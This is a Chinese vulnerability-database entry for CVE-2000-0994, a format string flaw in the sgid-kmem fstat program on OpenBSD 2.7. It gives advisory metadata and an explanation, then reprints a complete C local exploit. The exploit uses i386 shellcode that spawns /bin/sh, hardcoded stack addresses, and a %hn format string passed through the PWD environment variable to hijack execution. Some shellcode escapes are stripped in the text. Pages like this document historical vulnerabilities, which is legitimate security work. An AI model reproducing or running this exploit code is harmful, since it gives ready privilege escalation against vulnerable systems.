OpenBSD fstat存在格式字符串漏洞

OpenBSD fstat存在格式字符串漏洞

漏洞ID 1106024 漏洞类型 格式化字符串
发布时间 2000-10-04 更新时间 2005-08-22
图片[1]-OpenBSD fstat存在格式字符串漏洞-安全小百科CVE编号 CVE-2000-0994
图片[2]-OpenBSD fstat存在格式字符串漏洞-安全小百科CNNVD-ID CNNVD-200012-137
漏洞平台 OpenBSD CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/20256
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200012-137
|漏洞详情
OpenBSDfstat程序(和可能其他基于BSD操作系统的程序)存在格式字符串漏洞。本地用户借助PWD环境变量提升根目录特权。
|漏洞EXP
source: http://www.securityfocus.com/bid/1746/info


fstat is a program shipped with BSD unix variants that is used to list the open files on a system. It is installed sgid kmem so it can access information about open files from the kernel memory structures.

A user definable environment variable (PWD, parent working directory) is passed as the only argument to a *printf() function within fstat. As a result, it is possible for a user to exec fstat with a value for the PWD variable that contains malicious format specifiers. These format specifiers could be layed out in the environment variable in a way that causes the *printf function interpreting them to overwrite certain bytes on the stack (like those that the return address of the function called is composed of) and manipulate the flow of execution.

An attacker, upon successful exploitation of this vulnerability, would inherit the effective privileges of the running fstat program: egid kmem. Further compromise for an experienced hacker would be trivial.

It is likely that this vulnerability affects all modern BSDs, though as of yet only OpenBSD is confirmed. 

/* 
   private caddis K2 release
   TagTeam exploit coding @$_*#%*&(#%(**(@$*($@
   werd to ADM, teso, w00w00

   sgid=kmem
*/

#include <stdio.h>

char bsd_shellcode[] =
"xebx16x5ex31xc0x8dx0ex89"
"x4ex08x89x46x0cx8dx4ex08"
"x50x51x56x50xb0x3bxcdx80"
"xe8xe5xffxffxff/bin/sh";

struct platform {
    char *name;
    unsigned short count;
    unsigned long dest_addr;
    unsigned long shell_addr;
    char *shellcode;
};

/* 0xdfbfc304 */

struct platform targets[2] = 
{
    { "OpenBSD 2.7 i386       ", 590, 0xdfbfc490, 0xdfbfdc98, bsd_shellcode },
    { NULL, 0, 0, 0, NULL }
};

#define SHELL 500
 
char fmt_string[9072];
char jmpcode[SHELL] = "PWD=HI";
char term[] = "TERM=xterm";

char *envs[] = { term,jmpcode, NULL};

int main(int argc, char *argv[])
{
    char chr, *p;
    int x, len = 0;
    struct platform *target;
    unsigned short low, high;
    unsigned long shell_addr[2], dest_addr[2];

    target = &targets[0];
    if (argc > 1) target->count += strtol(argv[1], NULL, 0);

    memset(fmt_string, 0, sizeof(fmt_string));
    len = (sizeof(long) * 4) + 2;
    p = fmt_string + len;
    for (x = 0; x < target->count; x++) {
        strcat(p, "%8x");
        len += 8;
    }


    shell_addr[0] = (target->shell_addr & 0xffff0000) >> 16;
    shell_addr[1] =  target->shell_addr & 0xffff;

    if (shell_addr[1] > shell_addr[0]) {
	dest_addr[0] = target->dest_addr+2;
	dest_addr[1] = target->dest_addr;
    	low  = shell_addr[0] - len;
    	high = shell_addr[1] - low - len;
    } else {
	dest_addr[0] = target->dest_addr;
	dest_addr[1] = target->dest_addr+2;
	low  = shell_addr[1] - len;
	high = shell_addr[0] - low - len;
    }

    /* allign on 4byte boundry relative to ebp */
    memcpy(fmt_string, "!!", 2);
    *(long *)&fmt_string[2]  = 0x11111111;
    *(long *)&fmt_string[6]  = dest_addr[0];
    *(long *)&fmt_string[10] = 0x11111111;
    *(long *)&fmt_string[14] = dest_addr[1];

    memset(jmpcode, 0x90, SHELL);
    strcpy(jmpcode + (SHELL - strlen(target->shellcode) - 2), target->shellcode);
    memcpy(jmpcode,"PWD=",4);

    p = fmt_string + strlen(fmt_string);
    sprintf(p, "%%%dd%%hn%%%dd%%hn", low, high);
    fmt_string[sizeof(fmt_string)] = '';

   execle("/usr/bin/fstat", "fstat", fmt_string, NULL, envs);
    perror("execve");
}
|参考资料

来源:XF
名称:bsd-fstat-format
链接:http://xforce.iss.net/static/5338.php
来源:ftp.openbsd.org
链接:ftp://ftp.openbsd.org/pub/OpenBSD/patches/2.7/common/028_format_strings.patch
来源:BID
名称:1746
链接:http://www.securityfocus.com/bid/1746
来源:BUGTRAQ
名称:20001004Re:OpenBSDSecurityAdvisory
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=97068555106135&w;=2

相关推荐: Microsoft Windows NT 4.0 PDC/BDC Synchonization Reused Keystream Vulnerability

Microsoft Windows NT 4.0 PDC/BDC Synchonization Reused Keystream Vulnerability 漏洞ID 1104139 漏洞类型 Design Error 发布时间 2000-06-05 更新时间…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享